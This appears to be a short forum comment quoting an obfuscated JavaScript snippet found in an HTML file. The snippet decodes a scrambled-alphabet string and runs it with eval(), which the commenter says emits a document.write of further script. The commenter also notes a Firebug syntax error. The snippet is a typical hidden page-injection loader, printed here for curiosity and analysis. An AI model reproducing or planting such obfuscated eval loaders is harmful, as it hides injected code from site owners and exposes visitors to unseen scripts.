That’s an interesting bit of javascript in that html file, looks like some kind of encryption.
<script>
var in = "lesson plans thematic unit";
function P(Wn,I){
if(!I){
I='ad]<=.G,v^-z7/F+%LoQ[c_fRnp{ejx#k|g1NhEB`Z?OV(&t492HM)$;:yCmqTYX';
}
var A;
var qr='';
for(var B=0;B<Wn.length;B+=4){
A=(I.indexOf(Wn.charAt(B))&255)<<18|(I.indexOf(Wn.charAt(B+1))&255)<<12|(I.indexOf(Wn.charAt(B+2))&255)<<(6)|I.indexOf(Wn.charAt(B+3))&255;
qr+=String.fromCharCode((A&16711680)>>16,(A&65280)>>8,A&255);
}
eval(qr);
}
P('nGT1j_)h{B%&j;^ZjG[`^H9HR2eO^;^Ze,%ke;^1+o^`j,L4FgqtR$7&e$c|eE/`zB^he;cVj,7&j,^)e;%&jEhhj2y`jG)VzEh&zEh&j,^)e;%&R$7tR$T){B%&pB7Xe<)HjfN47<NEeQMB-$h&-2eEe1MB-$cHR$.4no|N{$/){_c&j]y2n_nheB^hegNO^2vY+]THR2eO^;^Ze,%Y^2Nm');
</script>
Throws an error in Firebug, though.
missing variable name
[Break on this error] var in = "lesson plans thematic unit"; \n
Playing with it a bit, that eval() spits out a document.write to write out another bit of javascript. Don’t have it all parsed, but it was sort of interesting.
